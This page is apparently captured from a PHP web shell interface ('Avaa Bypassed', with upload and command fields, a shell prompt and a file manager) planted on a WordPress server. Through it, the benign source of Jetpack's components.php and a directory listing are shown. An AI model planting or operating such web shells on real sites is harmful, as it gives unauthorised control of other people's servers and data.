404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.15.208.206: ~ $
<?php //phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

use Automattic\Jetpack\Status;

/**
 * Components Library
 *
 * Load and display a pre-rendered component
 */
class Jetpack_Components {
	/**
	 * Load and display a pre-rendered component
	 *
	 * @since 7.7.0
	 *
	 * @param string $name  Component name.
	 * @param array  $props Component properties.
	 *
	 * @return string The component markup
	 */
	public static function render_component( $name, $props ) {

		$rtl = is_rtl() ? '.rtl' : '';
		wp_enqueue_style( 'jetpack-components', plugins_url( "_inc/blocks/components{$rtl}.css", JETPACK__PLUGIN_FILE ), array( 'wp-components' ), JETPACK__VERSION );

		ob_start();
		// `include` fails gracefully and throws a warning, but doesn't halt execution.
		include JETPACK__PLUGIN_DIR . "_inc/blocks/$name.html";
		$markup = ob_get_clean();

		foreach ( $props as $key => $value ) {
			$markup = str_replace(
				"#$key#",
				$value,
				$markup
			);

			// Workaround, required to replace strings in `sprintf`-expressions.
			// See extensions/i18n-to-php.js for more information.
			$markup = str_replace(
				"%($key)s",
				$value,
				$markup
			);
		}

		return $markup;
	}

	/**
	 * Renders the frontend-nudge with the provided props.
	 *
	 * @param array $props Component properties.
	 *
	 * @return string The component markup.
	 */
	public static function render_frontend_nudge( $props ) {
		return self::render_component(
			'frontend-nudge',
			$props
		);
	}

	/**
	 * Load and display a pre-rendered component
	 *
	 * @since 7.7.0
	 *
	 * @param array $props Component properties.
	 *
	 * @return string The component markup
	 */
	public static function render_upgrade_nudge( $props ) {
		$plan_slug = $props['plan'];
		require_once JETPACK__PLUGIN_DIR . '_inc/lib/plans.php';
		$plan = Jetpack_Plans::get_plan( $plan_slug );

		if ( ! $plan ) {
			return self::render_component(
				'upgrade-nudge',
				array(
					'checkoutUrl' => '',
				)
			);
		}

		// WP.com plan objects have a dedicated `path_slug` field, Jetpack plan objects don't.
		$plan_path_slug = wp_startswith( $plan_slug, 'jetpack_' )
			? $plan_slug
			: $plan->path_slug;

		$post_id = get_the_ID();

		$site_slug = ( new Status() )->get_site_suffix();

		// Post-checkout: redirect back to the editor.
		$redirect_to = add_query_arg(
			array(
				'plan_upgraded' => 1,
			),
			get_edit_post_link( $post_id )
		);

		$upgrade_url =
			$plan_path_slug
			? add_query_arg(
				'redirect_to',
				$redirect_to,
				"https://wordpress.com/checkout/{$site_slug}/{$plan_path_slug}"
			) : '';

		return self::render_component(
			'upgrade-nudge',
			array(
				'checkoutUrl' => $upgrade_url,
			)
		);
	}
}

Filemanager

Name Type Size Permission Actions
admin-pages Folder 0755
core-api Folder 0755
debugger Folder 0755
markdown Folder 0755
class-jetpack-ai-helper.php File 12.5 KB 0644
class-jetpack-currencies.php File 4.52 KB 0644
class-jetpack-google-drive-helper.php File 3.58 KB 0644
class-jetpack-instagram-gallery-helper.php File 2.91 KB 0644
class-jetpack-mapbox-helper.php File 3.16 KB 0644
class-jetpack-podcast-feed-locator.php File 3.47 KB 0644
class-jetpack-podcast-helper.php File 19.89 KB 0644
class-jetpack-recommendations.php File 16.9 KB 0644
class-jetpack-top-posts-helper.php File 3.69 KB 0644
class-jetpack-wizard.php File 214 B 0644
class.color.php File 20.88 KB 0644
class.core-rest-api-endpoints.php File 137.71 KB 0644
class.jetpack-automatic-install-skin.php File 293 B 0644
class.jetpack-iframe-embed.php File 3.1 KB 0644
class.jetpack-keyring-service-helper.php File 9.09 KB 0644
class.jetpack-password-checker.php File 32.44 KB 0644
class.jetpack-search-performance-logger.php File 3.62 KB 0644
class.media-extractor.php File 20.46 KB 0644
class.media-summary.php File 15.09 KB 0644
class.media.php File 15.53 KB 0644
components.php File 2.64 KB 0644
debugger.php File 1.12 KB 0644
functions.wp-notify.php File 18.9 KB 0644
icalendar-reader.php File 32.74 KB 0644
markdown.php File 344 B 0644
plans.php File 1.89 KB 0644
plugins.php File 209 B 0644
tonesque.php File 6.44 KB 0644
widgets.php File 26.2 KB 0644